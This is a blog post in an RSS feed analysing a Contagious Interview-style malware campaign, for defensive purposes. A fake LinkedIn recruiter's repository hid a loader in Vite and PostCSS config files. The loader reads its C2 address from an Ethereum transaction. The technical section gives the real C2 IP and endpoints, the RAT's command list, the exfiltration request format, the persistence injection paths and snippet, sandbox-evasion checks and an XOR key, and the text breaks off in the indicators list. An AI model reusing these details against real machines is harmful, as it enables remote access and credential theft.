<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Techniky hackerů Archives - DIGITAL SELF-DEFENSE</title>
	<atom:link href="https://www.digitalnisebeobrana.cz/en/category/techniky-hackeru/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.digitalnisebeobrana.cz/en/category/techniky-hackeru/</link>
	<description></description>
	<lastBuildDate>Mon, 10 Aug 2026 09:36:25 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.4</generator>

<image>
	<url>https://www.digitalnisebeobrana.cz/wp-content/uploads/2018/12/cropped-mr.black_-32x32.png</url>
	<title>Techniky hackerů Archives - DIGITAL SELF-DEFENSE</title>
	<link>https://www.digitalnisebeobrana.cz/en/category/techniky-hackeru/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>I ran malware on purpose. It found its server address in the blockchain</title>
		<link>https://www.digitalnisebeobrana.cz/en/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Thu, 06 Aug 2026 11:52:10 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[hacky]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[blockchain]]></category>
		<category><![CDATA[linkedin]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[RAT]]></category>
		<guid isPermaLink="false">https://www.digitalnisebeobrana.cz/?p=7138</guid>

					<description><![CDATA[<p>A LinkedIn job offer led to a private repository with malware in it. It reads its server address out of an Ethereum transaction, and on first run it writes itself into VS Code, Cursor and npm.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain/">I ran malware on purpose. It found its server address in the blockchain</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Malicious code usually has to reach the attacker&#8217;s server somehow. That address is therefore one of the first things anyone pulls out of a sample, because it is something you can act on: block it at the firewall, report it to the hosting provider, warn everyone else about it.</p>
<p>This one carried no address at all. On execution it asks the public Ethereum network about one specific transaction and unpacks the address out of it. That transaction is public and you can <a href="https://etherscan.io/tx/0x1ee850dfe646976e3783dcd1db11282316234cf46efc62b218557e9bef2670a3">open it in a blockchain explorer</a>. The server address is written straight into the recipient of that transaction, just in hexadecimal. If you want to work it out yourself, the exact breakdown and a five-line script are in the technical section at the end.</p>
<p>It is worth noticing where exactly that information sits. Not in the transaction data. The transaction itself carries no message. That recipient address belongs to nobody: it is not a wallet and not a smart contract, it is simply a number someone made up so that it works out to an IP address and two ports. The message is not in what was sent. The message is in who it was sent to.</p>
<p>It is like a public listing with a street address in it. The address looks exactly like any other, nothing about it seems odd, and it passes unnoticed. Except the house number is actually a safe combination, and only the intended reader knows that.</p>
<p>So there is nothing in the code the victim receives that you could block. It contains only a pointer to infrastructure nobody is going to switch off. And even if someone did manage to take that server down, the attacker sends another transaction to a differently assembled address and every deployed copy redirects itself to it.</p>
<h2>This malware reached me in a job offer on LinkedIn<a href="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_first_contact.png"><img fetchpriority="high" decoding="async" class="alignright size-medium wp-image-7149" src="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_first_contact-289x300.png" alt="" width="289" height="300" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_first_contact-289x300.png 289w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_first_contact-500x520.png 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_first_contact.png 528w" sizes="(max-width: 289px) 100vw, 289px" /></a></h2>
<p>At the end of July, a man calling himself Aaron Clark messaged me. Verified profile, 500+ connections, one mutual contact, a decently written message. He was offering collaboration on an AI-powered crypto tracker. The project was supposedly already funded, with five million dollars set aside for development, and a token launch on the way. Part-time or full-time, whatever suited me.<br />
I do not talk to headhunters very often, so I cannot say whether anything about it was out of the ordinary. At first glance nothing seemed off.<br />
At second glance it did.</p>
<p>He described himself as a member of Block&#8217;s board of directors.</p>
<p>That is the sentence that made me open his profile properly.</p>
<h2>Who is actually writing to me</h2>
<p>Block is a publicly traded company. You do not have to guess who sits on the board of a company like that. They are public. Block lists them on its investor relations pages, and as an issuer it has to list them in its SEC filings too. You open the <a href="https://investors.block.xyz/governance/board-of-directors/">list</a> and read the names. Jack Dorsey is on it, co-founder of Block and of Twitter. Jim McKelvey, the other co-founder. Shawn Carter, better known to most people as Jay-Z, since May 2021. And alongside them, people from Sequoia Capital, Goldman Sachs and MIT.</p>
<p>Aaron Clark is not.</p>
<p>That took two minutes and would have settled the matter on its own. The rest of the profile only filled in the same picture.</p>
<p><strong>A career that does not add up.</strong> According to the profile he was a project manager at a small company from 2019 to 2021, then self-employed for two years, then CTO of a small AI startup for two years, and from 2024 a board member of one of the largest fintech companies in the world. I have no first-hand experience of that world, but I suspect people reach the board of a company that size by a slightly different route.</p>
<p><strong>Zero activity.</strong> Over a thousand followers, not a single post. Ever. Someone with that position and that reach who has not written one sentence in two years.</p>
<p><strong>A role that does not fit.</strong> A board member of a major fintech company sourcing a freelance frontend developer on LinkedIn, at an hourly rate, for an unrelated AI crypto project. That does not happen.</p>
<p><strong><a href="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_profile.png"><img decoding="async" class="alignright size-medium wp-image-7150" src="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_profile-133x300.png" alt="" width="133" height="300" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_profile-133x300.png 133w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_profile-456x1024.png 456w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_profile-768x1726.png 768w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_profile-683x1536.png 683w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_profile-500x1124.png 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_profile-800x1798.png 800w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_profile.png 861w" sizes="(max-width: 133px) 100vw, 133px" /></a>A verified profile.</strong> The blue badge next to a name does not mean the contents of the profile are true. It means the account passed some verification, typically of identity or a work email address. It says nothing about a claim of board membership. That distinction is exactly what most people skip over, which is why the badge works.</p>
<p>Fun fact: in the right-hand column, next to that profile, LinkedIn was serving me a paid ad for open positions at Block. The platform treats the name match as a reason to sell advertising rather than a reason to verify anything. And in doing so it lends the scammer credibility.<br />
Thanks, LinkedIn!</p>
<h2>Delete it and report it. Or maybe not?</h2>
<p>At this point it was clear this was a scam. But I wanted to know which kind.</p>
<p>Fake job offers end in several different ways. Sometimes it is a straightforward advance-fee scam. Sometimes it is harvesting personal data. And sometimes the entire story is just wrapping for getting malicious code onto the victim&#8217;s machine.</p>
<p>I was interested in the whole path, not in the fact that someone was lying about their employer. Replying and letting them walk me through their process cost me nothing.</p>
<p>I asked the ordinary questions. What stage the project was at, what the existing team looked like, which areas they needed help with, whether this was consulting, infrastructure and security, product development or a longer-term role.</p>
<p>Most of them were never answered.</p>
<p>On Friday a project overview PDF arrived. On Monday I wrote back that out of that very broad scope, my experience was closest to infrastructure, security, backend architecture and deployment, and asked again what specifically they wanted from me at this stage, whether they had a team and an existing codebase, and what the next step would be.</p>
<p>This came back:</p>
<blockquote><p>Okay,<br />
That is what we want from you. This project&#8217;s normal hourly rate is around $100.</p></blockquote>
<p>The first line answers nothing. The rest of the message went on to say the frontend was already built, that I should review it, and that <strong>only then</strong> would we schedule a technical meeting about timeline and milestones. And to send my GitHub username.</p>
<p>So I created a separate GitHub account, filled it with AI-generated content to make it look more credible (yes, really) and sent it over on Tuesday morning. The private repository invitation arrived six minutes later.</p>
<p>The following afternoon, a follow-up:</p>
<blockquote><p>Did you get any chance to run and see the project?</p></blockquote>
<p>That is the most revealing sentence in the whole conversation. In all that time, nobody asked me a single technical question. Not what I thought of the architecture, not what I would change about the frontend. The only thing they cared about was whether I had <strong>run</strong> it.</p>
<h2><a href="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_pdf.png"><img decoding="async" class="alignright size-medium wp-image-7151" src="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_pdf-289x300.png" alt="" width="289" height="300" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_pdf-289x300.png 289w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_pdf-500x520.png 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_pdf.png 528w" sizes="(max-width: 289px) 100vw, 289px" /></a>What was in the repository</h2>
<p>The project overview PDF came first. I checked whether it contained any active content. It did not. No JavaScript, no embedded files, no forms. The PDF was not carrying anything; its job was to look like material from a real company and send the reader on to the repository. It did that job well. During a quick check it is easy to honestly verify a document, conclude that it is clean, and then let that feeling spill over onto everything else that came with it.</p>
<p>The repository reported 6,273 commits. The name and photo of the last commit&#8217;s author at the top, a complete frontend structure below. At first glance, a project someone had worked on for months.</p>
<p>That history was stolen. It belonged to a legitimate open source project, and the attacker placed a single commit on top of it, message &#8220;Refactoring codebse for speed&#8221;, which deleted over four thousand files and replaced them with a hundred of its own. Only the history was left. Consistent with that, every file in the repository carries the same last-modified date.</p>
<p>That has an unpleasant side effect. GitHub matches a commit author by email address, and the address in that commit belongs to a real developer of the original project. So the repository page displays the account and photo of an existing person who has nothing to do with any of this. That is why I am not naming him here.</p>
<p>It is worth being clear about whose problem this actually is. Git, by design, does not verify the author of a commit at all. The name and email are written in by whoever commits, and they can put anything there. It has worked that way from the start, and it follows from Git being decentralised and usable with no server connection.</p>
<p>What GitHub adds is the presentation. It matches the commit to an account by email, shows a photo and a link to a profile, and by default an unsigned commit gets no marking whatsoever. A forged commit therefore looks exactly like a genuine one. GitHub also explicitly excludes Git email spoofing from its bug bounty, on the grounds that on its own it grants an attacker neither repository access nor any additional privileges. Technically that holds. In practice it means someone else&#8217;s name and photo can be used as credibility for free, which is exactly what happened here.</p>
<p>There are defences, but they are opt-in and you have to turn them on in advance. GitHub lets you hide your own email and commit under an address of the form <code>username@users.noreply.github.com</code>. That address stays tied to your account, so your commits are still attributed to you normally; nobody just knows an address they could reuse. The second option is signing commits with a key and enabling what GitHub calls vigilant mode, after which any unsigned commit bearing your name is displayed as unverified.</p>
<p><a href="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_offer.png"><img loading="lazy" decoding="async" class="alignright size-medium wp-image-7152" src="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_offer-300x246.png" alt="" width="300" height="246" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_offer-300x246.png 300w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_offer-500x411.png 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_offer.png 510w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a>The catch is that this only protects the person who set it up. It would have helped the developer whose name appeared in that forged commit only if he had enabled vigilant mode himself.</p>
<p>The rest of the page was less convincing. Zero stars, zero watchers, zero forks, no contributors, no description. And a <code>.env</code> file committed at the root. Don&#8217;t do that <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<h2>README.ai</h2>
<p>The README in the repository is a generic template. A welcome line, &#8220;How can I run this code?&#8221;, a link to installing Node.js through nvm, four steps and a list of technologies used: Vite, TypeScript, React, shadcn-ui, Tailwind CSS.</p>
<p>That text was not written for this project. It matches the template automatically generated by the AI app builder Lovable, down to the identical wording of the steps and the same list of technologies. The attacker stripped out the references to Lovable itself and the Codespaces section, and left the rest alone.</p>
<p>In practice this means nobody wrote the bait. Someone had a plausible-looking crypto dashboard generated in a few minutes, mounted it on someone else&#8217;s history and sent it out. The cost of producing the wrapper is now effectively zero, which is why offers like this can be sent out in any quantity you like.</p>
<p>And then there is the last line of those instructions:</p>
<pre><code># Step 4: Start the development server with auto-reloading and an instant preview.
npm run dev</code></pre>
<p><a href="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github.png"><img loading="lazy" decoding="async" class="alignright size-medium wp-image-7153" src="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github-251x300.png" alt="" width="251" height="300" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github-251x300.png 251w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github-855x1024.png 855w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github-768x920.png 768w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github-1283x1536.png 1283w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github-500x599.png 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github-800x958.png 800w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github-1280x1533.png 1280w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github.png 1657w" sizes="auto, (max-width: 251px) 100vw, 251px" /></a><br />
That command sets off the rest of this story. It never had to be hidden anywhere, because the project itself presents it as the ordinary, expected step. Anyone who wanted to look at that frontend ran it.</p>
<h2>What happened when I ran it</h2>
<p>I did not, of course, run it on my own machine. I built an isolated sandbox for it: a disposable system with not a single real password, key or wallet on it, cut off from the internet and from the host, behind a gateway of my own that recorded all traffic and let nothing out that I had not permitted in advance. I pointed the attacker&#8217;s server at myself, so the malware asked me for everything instead of him. When it finally asked for its main component, I sent it an empty response. It never got to download that last part, and it never ran. That way I could watch the whole sequence without leaving anyone&#8217;s program running on a real machine.</p>
<p>Then I typed what they had asked for.</p>
<pre><code>npm run dev</code></pre>
<p>On the surface, nothing unusual happened. The dev server came up, no errors on the output, the dashboard would have opened in a browser a moment later. If I had been sitting there as a candidate for a job or a contract, I would have been browsing the UI and noticed nothing.</p>
<p>Meanwhile this happened. The project connected to a public Ethereum node, one of those services people routinely use to read data off the blockchain, and read a single transaction from it. That transaction held the server address, which it unpacked. It reached that server, downloaded another piece of program from it, ran that, and the new piece asked for the last, main part.</p>
<p>Under three tenths of a second passed between the command and that point.<br />
Not even an Italian gets through an espresso that fast.</p>
<h2>What it was and what it would have done</h2>
<p>I downloaded that last piece and took it apart without running it. It is a rat. Or rather a RAT, an abbreviation that expands two different ways: remote administration tool, when it is a legitimate program for managing machines remotely, and remote access trojan, when it is the same thing without the owner&#8217;s knowledge. The difference is not in the code. It is in whether the owner of the machine knows about it.</p>
<p>This one was hidden in a frontend configuration file, so the second. It is a program that lets an attacker operate someone else&#8217;s computer remotely, as if they were sitting at it.</p>
<p>This particular one can:</p>
<ul>
<li>read the contents of the clipboard</li>
<li>run any command its owner could run on that machine</li>
<li>run any further program the attacker sends it</li>
<li>take any file or an entire directory including subdirectories and upload it to its own server.</li>
</ul>
<p>The last one is what matters. This is not a program with a fixed target list that you could dodge by storing your wallet somewhere else. It is remote access. The attacker connects, looks around, and decides on the spot what interests him.</p>
<p>In practice it means he can take anything reachable by the account that started the project. Server access keys, Git and cloud logins, configuration files with passwords, saved browser credentials, wallet files, password manager data, source code, documents. And the clipboard, which is incidentally the moment it pays off that people occasionally copy a seed phrase or a password.</p>
<p>On an ordinary developer laptop there is usually plenty of that material.</p>
<p>All of that, though, it does on command. There is one more thing it does entirely on its own the moment it starts, and that is the most important finding in the whole analysis.</p>
<h2>Deleting the repository is not enough</h2>
<p>About a second after starting, the program looks for installed developer applications and inserts itself into them. Into VS Code, Cursor, Antigravity, Discord, GitHub Desktop and npm.</p>
<p>It writes straight into their files, indented by roughly two hundred spaces, so if someone opens that file in an editor the code sits far past the right edge of the screen and will not be seen during ordinary browsing.</p>
<p>The consequence: someone runs a project like this, decides shortly afterwards that it was a stupid idea, deletes the repository and goes to bed. And the infection stays. It sits in the editor and in npm and runs again the next time they are used normally.</p>
<p>Deleting the project folder does not solve this.</p>
<h2>Where my evidence ends</h2>
<p>Everything above I either observed at runtime or read directly in the program&#8217;s own code. That the repository contains hidden malicious code, that <code>npm run dev</code> executes it, that it finds the attacker&#8217;s server through the blockchain, downloads and runs further code from there, and that this last piece is a remote access tool that settles into developer applications on its own.</p>
<p>What I did not see: an actual attacker at work. My test system contained no real data, so nothing was ever stolen, and I have no idea whether anyone ever issued commands during a real infection. I also do not have the second, parallel branch of the chain. The server stopped answering before I could fetch it.</p>
<p>So no, I cannot write that they drained my wallet. I can write that they could have.</p>
<p>The approach, the whole structure of the chain and the markers used all match what is publicly described under the names Contagious Interview and DEV#POPPER. None of this is new. It just works well.</p>
<h2>What to do if you ran something like this</h2>
<p>Take the machine off the network so the attacker cannot connect to it.</p>
<p>Then search the files of your installed developer applications and npm for the markers <code>/*RS260605*/</code> and <code>/*C260521A*/</code>. Exact paths and older marker variants are in the technical section below. Grep finds them reliably; your eyes will not, because they sit far past the right margin.</p>
<p>If you find them, you know. If you do not find them, you do not know. This sample is one specific version of one specific campaign, and the next one may well look different. So for a machine holding real credentials, the only reliable answer is a clean reinstall. Cleaning by indicators is good for understanding what happened, not for feeling safe afterwards.</p>
<p>And then the part people put off most: treat everything that account could reach as compromised. Keys, tokens, API keys, the contents of configuration files, credentials stored in the browser. Rotate them, do not hope. If you had a cryptocurrency wallet on that machine, move the funds from a new clean device, using a seed generated on that device, not on the affected one.</p>
<h2>What to take away</h2>
<ol>
<li>A claim about a position at a large company is almost always checkable. The boards of public companies are published and the check takes two minutes.</li>
<li>If you cannot be bothered to search, drop the whole offer and the profile into any AI tool with web access and have it look them over. It is not bulletproof and it should not be your only filter, but contradictions like &#8220;claims a position no public source confirms&#8221; turn up in seconds.</li>
<li>A verified LinkedIn profile does not verify what the profile says.</li>
<li>When the other side never answers substantive questions about team and scope, but answers instantly on anything that moves things toward running code, that is a signal in itself.</li>
<li>A private repository invitation is not evidence of legitimacy.</li>
<li>A long, credible Git history can be copied from someone else&#8217;s project. A commit count proves nothing.</li>
<li>A convincing-looking frontend is now a few minutes of work in an AI builder. How a project looks says nothing about who is behind it.</li>
<li>A repository can be malicious with no install scripts in it at all. Configuration files for frontend tools are executable code.</li>
<li>Remote access is more general than a target list. Moving your wallet elsewhere does not protect you.</li>
<li>Deleting the cloned repository may not remove what has meanwhile been written into your editor and into npm.</li>
<li>Foreign code runs in a disposable environment with no access to your own data and no open internet. A VM snapshot is not a security boundary.</li>
<li>A tempting offer, pressure to move fast and a task that amounts to &#8220;just run it&#8221; are not a coincidence together. It is a pattern that repeats.</li>
</ol>
<p>The last point has nothing to do with technology. This exact type of offer reaches developers with a public profile, visible repositories and an interest in cryptocurrency. The attacker does not pick the target at random. The attacker picks it out of publicly available information.</p>
<hr />
<h2>Technical analysis</h2>
<p>From here on, this is for anyone interested in exactly how it works, or who needs to check their own machine. The story above should make sense without this part.</p>
<p>A note on method. I cut the work of unpacking the obfuscated code down considerably by using AI. My goal was not to reverse someone else&#8217;s JavaScript from scratch, but to map the whole process this group uses, from the first LinkedIn contact through to persistence. Every concrete value below, the hashes, paths and commands, I verified against the sample afterwards.</p>
<h3>Lab</h3>
<p>The controlled execution of the sample did not happen on a working machine or in a snapshot of a production system. A snapshot is a rollback tool, not a security boundary.</p>
<pre><code>Arch Linux host
├── REMnux VM: gateway, interception, packet capture, C2 replay
└── Debian 13 VM: disposable victim</code></pre>
<p>REMnux acted as the victim&#8217;s gateway, locally held the real C2 IP address, served the captured malware stages, filtered outbound traffic and recorded packets. Traffic to the known C2 therefore never left the lab.</p>
<p>The victim ran as an unprivileged user with no <code>sudo</code>. During the malware run there were no shared folders in the VM, no GitHub token, no SSH agent forwarding, no USB, and shared clipboard and drag and drop were both disabled. Outbound traffic was permitted only on TCP 443 toward the current IP addresses of the allowed Ethereum RPC services, and everything else was dropped. Before running the sample I verified that ordinary internet access from the victim failed.</p>
<p>I installed dependencies with <code>npm install --ignore-scripts</code>. Not because that is sufficient, but to separate what executes during install from what executes during the dev command.</p>
<p>I had already fetched the real <code>/init</code> and <code>/0/body</code> responses separately beforehand, without executing them. So I knew something like that was waiting at the end of the chain, and how large it was. I wanted the loader and both follow-on stages to run normally and leave traces in the process table and in the traffic, while the last link never fired. The gateway therefore returned the responses to those two requests empty:</p>
<pre><code>/init    → {"_B":""}
/0/body  → empty response</code></pre>
<p>The loader and both follow-on stages ran as a result and left traces behind. The final payload did not run. The real <code>/init</code> response I had captured earlier as inert data and analysed statically, without executing it.</p>
<h3>Where the malicious code was</h3>
<p><code>package.json</code> was clean. No <code>preinstall</code>, <code>install</code>, <code>postinstall</code> or <code>prepare</code>. Only the usual <code>dev</code>, <code>build</code>, <code>lint</code> and <code>preview</code>.</p>
<p>So the common advice to install with <code>--ignore-scripts</code> would not have helped here. The malware did not need the install step.</p>
<p>The same obfuscated loader was appended to the end of two configuration files:</p>
<pre><code>vite.config.ts
postcss.config.js</code></pre>
<p>The loader was 5,131 bytes, SHA-256:</p>
<pre><code>ed6c0476c62bc21c981b95861677bf14eeeaba57ac071c860d0e599ecbf6156c</code></pre>
<p>Duplicating it across two files means the chain fires whether the developer reaches for the dev server or for the build.</p>
<h3>C2 stored on Ethereum</h3>
<p>The loader queried public Ethereum JSON-RPC endpoints: <code>eth.drpc.org</code> and <code>eth-mainnet.public.blastapi.io</code> (plus one clearly unusable, <code>ethereum-rpc.publicnode.com1</code>).</p>
<p>It looked for activity associated with the marker <code>33ff3edaf55a8e03dcbc7cb40d498a49</code>. The specific transaction:</p>
<pre><code>Block:     25688067
Tx:        0x1ee850dfe646976e3783dcd1db11282316234cf46efc62b218557e9bef2670a3
Sender:    0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891
Recipient: 0x171b14bb01bb171b14bb0050eb7f39c35c47e682</code></pre>
<p>The carrier of the information is not the transaction&#8217;s input field but the recipient address:</p>
<pre><code>0x 171b14bb 01bb 171b14bb 0050 eb7f39c35c47e682
   |        |    |        |    |
   |        |    |        |    padding, to reach 20 bytes
   |        |    |        port 80
   |        |    23.27.20.187
   |        port 443
   23.27.20.187</code></pre>
<p>No cryptography, just numbers written in hexadecimal. If you would rather not do the arithmetic by hand, copy this into a file and run it with Python. It downloads nothing, connects to nothing and touches no files:</p>
<pre><code>address = "0x171b14bb01bb171b14bb0050eb7f39c35c47e682"

b = bytes.fromhex(address.replace("0x", ""))
for i in (0, 6):
    ip = ".".join(str(x) for x in b[i:i + 4])
    port = b[i + 4] * 256 + b[i + 5]
    print("http://" + ip + ":" + str(port))</code></pre>
<p>Rotating infrastructure therefore means nothing more than sending another transaction to a differently assembled address.</p>
<p>The decoded result:</p>
<pre><code>http://23.27.20.187:443/boot
http://23.27.20.187:80/0/boot</code></pre>
<p>Although one of the ports is 443, the communication was unencrypted plain HTTP. Port 443 does not guarantee TLS. It guarantees port 443.</p>
<h3>Exact execution sequence</h3>
<p>The process started normally: <code>bash</code> → <code>npm run dev</code> → Vite → esbuild. In parallel:</p>
<ol>
<li>a connection to Ethereum RPC and derivation of the C2 address;</li>
<li>connections to <code>23.27.20.187</code> on ports 443 and 80;</li>
<li>download of two distinct obfuscated JavaScript stages;</li>
<li>execution through <code>node -e</code> in separate processes;</li>
<li>requests for the final payloads from <code>/init</code> and <code>/0/body</code>.</li>
</ol>
<p>The whole chain from start to the final-payload request took under three tenths of a second. Requests carried a marker identifying the victim:</p>
<pre><code>X: 33ff3edaf55a8e03dcbc7cb40d498a49:*8-0</code></pre>
<h3>Final payload analysis</h3>
<p>The captured <code>/init</code> response is 166,703 bytes and has four fields. <code>_U</code> is the server base address, <code>_H</code> is a copy of the first stage, <code>_B</code> is the main payload and <code>_Z</code> is the body used for persistence.</p>
<p>The main payload was packed into a <code>Function</code> constructor with a single generated body of 73,649 characters. Searching it for keywords finds nothing. I unpacked it by evaluating only the string decoder in an isolated context and leaving the operational part alone. That exposed 343 indexed strings and with them the entire command and persistence logic.</p>
<p>It is a cross-platform Node.js RAT. Version:</p>
<pre><code>260804</code></pre>
<p>Those digits look like a date in YYMMDD format, meaning 4 August 2026, the day before I ran the sample. The markers used for persistence follow the same pattern (<code>RS260605</code>, <code>C260521A</code>), as do older variants from 2025. This is an observation rather than a confirmed fact, but it is consistent.</p>
<p>On connection it identifies itself to the server, sending a session ID, process ID, OS type, version, campaign label and first and current visit timestamps. The command channel runs over Socket.IO to <code>http://23.27.20.187:443</code>, again unencrypted, retrying every five seconds.</p>
<h3>Command list</h3>
<table>
<thead>
<tr>
<th>Command</th>
<th>What it does</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>ss_info</code></td>
<td>returns version, session ID, OS details, C2 addresses, Node paths, the path it was started from, and timestamps</td>
</tr>
<tr>
<td><code>ss_ip</code></td>
<td>looks up the victim&#8217;s public IP through <code>ip-api.com</code></td>
</tr>
<tr>
<td><code>ss_cb</code></td>
<td>reads and sends the clipboard</td>
</tr>
<tr>
<td><code>ss_upf:&lt;file&gt;,&lt;destination&gt;</code></td>
<td>uploads one selected file</td>
</tr>
<tr>
<td><code>ss_upd:&lt;directory&gt;,&lt;destination&gt;</code></td>
<td>recursively walks a directory and uploads every file in it</td>
</tr>
<tr>
<td><code>ss_dir</code>, <code>ss_fcd:&lt;path&gt;</code> and <code>cd</code></td>
<td>working directory control</td>
</tr>
<tr>
<td><code>ss_stop</code></td>
<td>stops an upload in progress</td>
</tr>
<tr>
<td><code>ss_inz:&lt;path&gt;</code></td>
<td>injects the persistent code into a selected file</td>
</tr>
<tr>
<td><code>ss_inzx:&lt;path&gt;</code></td>
<td>removes it from a selected file</td>
</tr>
<tr>
<td><code>ss_connect:&lt;host&gt;</code></td>
<td>switches to another operator-supplied server</td>
</tr>
<tr>
<td><code>ss_eval:&lt;code&gt;</code></td>
<td>executes arbitrary JavaScript</td>
</tr>
<tr>
<td><code>ss_eval64:&lt;base64&gt;</code></td>
<td>the same, encoded</td>
</tr>
<tr>
<td><code>ss_exit</code> and <code>ss_exit_f</code></td>
<td>terminates the process</td>
</tr>
<tr>
<td>anything else</td>
<td>runs as a shell command</td>
</tr>
<tr>
<td>text starting with <code>*</code></td>
<td>starts an arbitrary background program with attacker-supplied arguments</td>
</tr>
</tbody>
</table>
<h3>Exfiltration format</h3>
<pre><code>POST http://23.27.20.187/u/f
Content-Type: multipart/form-data

client_id = &lt;hostname&gt;$&lt;username&gt;
path      = &lt;operator-selected destination&gt;
file      = under the local file's basename</code></pre>
<p>For recursive uploads it walks the selected directory using <code>readdirSync</code> and <code>statSync</code>, computes each file&#8217;s relative path and uploads them one by one so the structure is preserved on the attacker&#8217;s side.</p>
<p>Even without a single command, the payload automatically sends machine and session metadata over Socket.IO, plus persistence status telemetry to:</p>
<pre><code>POST http://23.27.20.187/verify-human/&lt;campaign label&gt;</code></pre>
<p>It reads the clipboard through <code>Get-Clipboard</code>, <code>pbpaste</code> or <code>xclip</code> depending on the platform.</p>
<h3>Persistence paths</h3>
<p>About one second after startup the payload looks for the JavaScript entry points of common developer applications and npm:</p>
<pre><code>VS Code          resources/app/node_modules/@vscode/deviceid/dist/index.js
Cursor           resources/app/node_modules/@vscode/deviceid/dist/index.js
Antigravity      resources/app/node_modules/@vscode/deviceid/dist/index.js
Discord          discord_desktop_core/index.js
GitHub Desktop   resources/app/main.js
npm CLI          node_modules/npm/lib/cli.js</code></pre>
<p>Paths are defined separately for Windows, macOS and Linux.</p>
<p>The injection strips older recognised blocks, adds roughly two hundred spaces and appends:</p>
<pre><code>/*C260521A*/
global['e']='&lt;target label&gt;';
global.i='*8-0';
/* persistence body beginning with /*RS260605*/ */</code></pre>
<p>Target labels:</p>
<pre><code>app-vscode-eval
app-cursor-eval
app-antigravity-eval
app-discord-eval
app-GitHubDesktop-eval
NPM</code></pre>
<p>The payload also installs its own dependencies (<code>axios</code>, <code>socket.io-client</code>, <code>form-data</code>) into <code>~/.node_modules</code> or <code>~/.node_module</code> and drops a first-visit marker:</p>
<pre><code>Linux/macOS: /tmp/.&lt;base64 of username&gt;
Windows:     %LOCALAPPDATA%&#92;Temp&#92;&lt;base64 of username&gt;</code></pre>
<h3>Environment checks</h3>
<p>The sample tests its environment and behaves differently on a match. It looks at the <code>jsbot</code> environment variable, the usernames <code>github-runner</code> and <code>buildbot</code>, and hostnames such as <code>build-*</code>, <code>sandbox-pool-*</code>, <code>buildkitsandbox</code>, <code>cloudchamber</code>, <code>nijin-lab</code> and two specific <code>EV-</code> names.</p>
<p>Practical implication for analysts: do not name your VM after what it is for.</p>
<h3>The secondary branch</h3>
<p>The secondary loader from <code>/0/boot</code> requests <code>/0/body</code>, XOR-decodes it with the key <code>YU7m{rE/&gt;|==b&gt;#~</code> and evaluates it. I tried to fetch the body at 15:58 UTC and the server no longer answered on either port. Somewhere between the run and that attempt, it stopped answering me.</p>
<h3>Indicators of compromise</h3>
<p><strong>Repository and commit</strong></p>
<pre><code>Repository: gitcomp88/AICryptoTrader
